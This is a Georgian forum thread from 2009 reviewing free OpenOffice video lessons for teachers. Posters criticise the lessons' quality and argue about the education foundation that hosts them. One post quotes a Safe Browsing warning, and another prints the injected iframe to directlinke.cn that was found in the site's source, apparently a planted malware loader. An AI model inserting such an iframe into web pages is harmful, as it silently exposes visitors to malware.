ღია ოფისი...(ფრაგმენტი), შესაფასებლად ვიდეო გაკვეთილები...

შეაფასეთ....
გმადლობთ, რომ შემოიხედეთ.

http://www.mziuri.skola.dlf.ge/video/

con
ნანახი მაქვს ეს. შემიძლია გითხრათ რეკომენდაციები:

1. ვიდეოს ხარისხი - კონკრეტული ოპერაციის ილუსტრაციის დროს კურსორი დაფიქსირებული უნდა იყოს. გამოიყენეთ რაიმე სხვა პროგრამა. რას იყენებთ?
2. ღია ოფისის ქართული ვერსია არსებობს და იმაზე სჯობს გაკეთდეს გაკვეთილები.
3. ასევე აუდიოს ხარისხი - ხმა არის არცთუ მკაფიოა და ასე მგონია სძინავს მასწავლებელს

ირმის ნახტომის დახასიათება:

Warning: Visiting this site may harm your computer!
The website at www.mziuri.skola.dlf.ge contains elements from the site directlink8.cn, which appears to host malware – software that can hurt your computer or otherwise operate without your consent. Just visiting a site that contains malware can infect your computer.
For detailed information about the problems with these elements, visit the Google Safe Browsing diagnostic page for directlink8.cn.
Learn more about how to protect yourself from harmful software online.
I understand that visiting this site may harm my computer.

რომელ checking-ზე ვიბაასოთ, როცა ელემენტარული "ესთეტიური სილამაზე" () გვაკლია (ნუთუ ძნელია მასწავლებლებისთვის ამ მიმართულებით ხელის შეწყობა), ვიდეოს ნახვას ვერ ვეღირსე

This post has been edited by GioMac on 16 Jan 2009, 15:39

საიტის source-ში:
<iframe src="http://directlinke.cn/in.cgi?27" width=100 height=80></iframe></div><div style="visibility:hidden"></div>



This post has been edited by crash on 16 Jan 2009, 15:49

ძილისპირულად უფრო გამოდგება...

"ერთხელ დაწკაპებით" ... "ორჯერ დაწკაპებით"

"ლისტის თან წაღებით"

" გადავფურცლოთ ქვემოთ მომდენო გვერდზე გადასვლა"

"მომხმარებელს თავად შეუძლია ინტერფეისი მოაწყოს"

ეს მარტო პირველ გაკვეთილიდან ამოვკრიფე...



ალბათ ირმის ნახტომმა უფასოდ გააკეთებინა ეგ სახელმძღვანელო





* * *
"ინტერფეისის ბევრ ელემენტს აქვს ტარების უნარი"

თუ გადაადგილების ?

n-i-ck

ნწ, კონკურსზე შეიძლება მაინც პირველი ადგილი აიღოს, პრემია იქნება და შოკოლადს დაურიგებენ



შემჭამეს, თუ რომელიმე სკოლაში ვინმეს რამე სჭირდება ყველა ჩემთან მოდის მემგონი, კიდევ კარგი ჩემთან სოფელში არ ვახსოვარ არავის, ან ცივილიცაზიამ ვერ მიაღწია იქამდე. რაც არ უნდა კომპიუტერები დაურიგო და ლინუქსები/ვინდოუსები აზრი არ აქვს თუ სწორი მენეჯმენტი არ იქნება და საჭირო საქმის მიმართ სწორი მიდგომა.

ოკ. მე ახლა უნდა განვმარტო - ირმის ნახტომს არც დაუკვეთავს და არც შეუსყიდია ეს. ირმის ნახტომმა ტენდერისას დაიწუნა კონკრეტული გაკვეთილები.

ფონდის რეორგანიზაცია მიმდინარეობს და შეიძლება ვიღაცამ უბრალოდ განათავსა ჩვენს საიტზე

ოფიციალური განცხადების გაკეთება ნამდვილად არ მინდა, მაგრამ კონკრეტულად მე მქონდა ეს გაკვეთილები რეცენზიისთვის და მე დავიწუნე.

n-i-ck

ირმის ნახტომის თანამშრომლები, კონკრეტული ჯგუფი უფასოდ აკეთებს კონკრეტულ სახელმძღვანელოებს და ათავსებს უფასო რესურსებზე.
http://ict.dlf.ge/ ეს არის რესურსების დაზოგვის მიზნით და არა დაკვეთით შექმნილი ინსტრუქციები.

This post has been edited by Antigone on 16 Jan 2009, 15:58

Screencast-ი ვინდოუსშია გაკეთებული (?).

შეფასების დროს გამოხატული ნებისმიერი აზრი, განსაკუთრებით დაცინვა, აგრესია, აკრძალვა გაპიარების ყველაზე მძლავრი ისტრუმენტებია.
ნუთუ ასე კარგია?!

con

+1
დაცინვაში ეჭვი მეპარება ვინმემ გამასწროს, მაგრამ როდესაც საქმე გამოსწორებას ეხება და ადამიანს შეგიძლია რამე აუხსნა, ასწვალო, სწორ გზაზე დააყენო და ა.შ. და ამას მე ვერ ვხედავ სახელმწიფოს/ფონდების მხრიდან - აი ამაზე ვბრაზდები. აი ეს მომენტი არ მომწონს სწორედ აქ. საქმე რომ ეხებოდეს ერთ სკოლას ან ერთ ორგანიზაციას ან ერთ ადამიანს - კიდევ ჰო, რამე ეშველება, მაგრამ ყველგან ბარდაგი რომ არის და არავინ არაფერს რომ არ აკეთებს ეგაა საშინელება...
ალბათ ვიდეოს ავტორს იცნობ და შეხება გაქვს და მაინტერესებს რამდენად შეუწყვეს ხელი და თუნდაც დაწუნების (ამას მნიშვნელობა არ აქვს) შემდეგ რა მოხდა

Antigone
ძალიან ბევრია ეგეთი, კიდევ კარგი მასწავლებლების დიდ ნაწილს მეორე სამსახურიც აქვთ, თორემ ეგენიც დაემატებოდნენ.

ფონდის პროგრამაში მხოლოდ არაპატურული და პროგრამული საშუალებებით უზრუნველოყოფა არის გათვალისწინებული?

საჭიროა ხალხთან ურთიერთობა! რეკომენდაცია-ტრენინგები, ცხელი ხაზი თავისუფალი ურთიერთობისთვის, გაცვლა, შესაბამისი სფეროს სპეციალისტების მოწვევა.

btw, ლოკალიზაციის გენიოსობის არ იყოს, ერთი არ მსმენია ვინმესგან რომ იკრიბებოდეთ რამეზე ნორმალურად. არცერთ პროექტზე არავინ არ შემხმიანებია, რაც შემხვდა და რასთანაც საქმე დავიჭირე ჭურში ჩახედვის ტოლფასიც არ იყო, არადა ადმინისტრატორი ვარ, ერთი update არ მინახავს და ერთი bug report, feature request. ნუ, service request-ებზე საუბარი ზედმეტია.

სამაგიეროდ ბლომად არის სასწავლებლები სადაც ლინუქსს "ასწავლიან", ახლადშეძენილი მეგობრები მყავს ეგეთები და სწორ გზაზე დაყენებას მთელი თვე შეიძლება მოუნდე კაცი ისე აქვთ არეული თავი სისულელეებით და ზემაღალი გრძნობებით ოპენსორსის შესახებ. სამაგიეროდ ბევრია რესურსი რომელიც უნდა ეძებო და შეიძლება მიაგნო (გუგლზე დადებული დოკ-ბის ვარიანტში).

IMHO ICT და IT მენეჯერები გინდათ მგლები, რომლებმაც იციან თუ რას აკეთებენ და არა იდეოლოგები რომლებიც "ასე ფიქრობენ"

ამის გამო იძულებული ხდება ბევრი მარტო იმუშაოს კომერციულ და დახურულ პროექტებზე, ხოლო ღია პროექტებზე მე პირადად DLF-თან საქმეს აღარ დავიჭერ, რადგან საქმეს არასერიოზულად უდგებით ("ჩვენ ვმუშაობთ ოფისში","ვატარებთ კონფერენციებს","ვართ გამოფენებზე" და ა.შ.).

This post has been edited by GioMac on 16 Jan 2009, 16:21

”ინოვაციურ პროცესებზე გადასვლისას მთავარია კლიმატი და ორგანიზაციული კულტურა (ეს სკოლებისთვისაც აქტუალურია);

ინოვაციურ პროცესში ადამიანებს სჭირდებათ მკაფიო მიზანი და თავისუფლება. ადამიანებმა უნდა იგრძნონ საბოლოო მიზანი და უნდა შეეძლოთ საქმეს კეთება თავისუფლად. მათ არ უნდა ეშინოდეთ წარუმატებლობის;

რადიკალური ცვლილებების ერაში ჩვენ უფრო მეტს ვსწავლობთ ჩვენი წარუმატებლობებიდან და შეცდომებიდან, ვიდრე წარმატებებიდან. ინოვაციის არსს წარმოადგენს წარუმატებლობის ძიება.

მთავარია კლიმატი. ინოვაციები იბადება მხოლოდ უსაფრთხო გარემოში (როცა ადამიანებს აქვთ შეცდომის დაშვების და ექსპერიმენტირების უფლება);

საჭიროა ისეთი ადამიანები, რომლებიც არ გვეთანხმებიან და არა ისეთი, ვინც მუდამ ეთანხმება ხელმძღვანელობას;

ინოვაციურ პროცესში მთავარია ურთიერთქმედების უნარი"

ერიჰაა...

GioMac
რაც არ იცი, იმაზე ნუ კამათობ.

შენთან საქმის დაჭერა სუიციდია. დისკუსიასაც არ ვაპირებ. პირადად მე, არცერთ პროექტზე შენთან არ ვიმუშავებდი.

This post has been edited by Antigone on 16 Jan 2009, 16:25

ამ გაკვეთილების სამიზნე ჯგუფი - სკოლის მასწავლებელი
ვიდეო გაკვეთილების შემსრულებელი - მასწავლებელი;
დამკვეთი - არავინ;
ფასი - თავისუფალი გავრცელება;

ხმის ტემპი - გათვალისწინებულია სრულიად დამწყებისათვის.

შეაფასეთ...
გთხოვთ ნუ აურევთ ფონდებთან დამოკიდებულებებს და სამუშაოს განაწილების ზოგად წესებს ამ კონკრეტულ შეფასებაში.
გთხოვთ ნუ შეუცვლით მიმართულებას თემას.
ყველას ვინც გამოეხმაურა და გამოეხმაურება თემას გმადლობთ.

con

იმედია, გაითვალისწინებთ რეკომენდაციებს. და მგონი მე არაფერი მიუღებელი არ დამიწერია თქვენთვის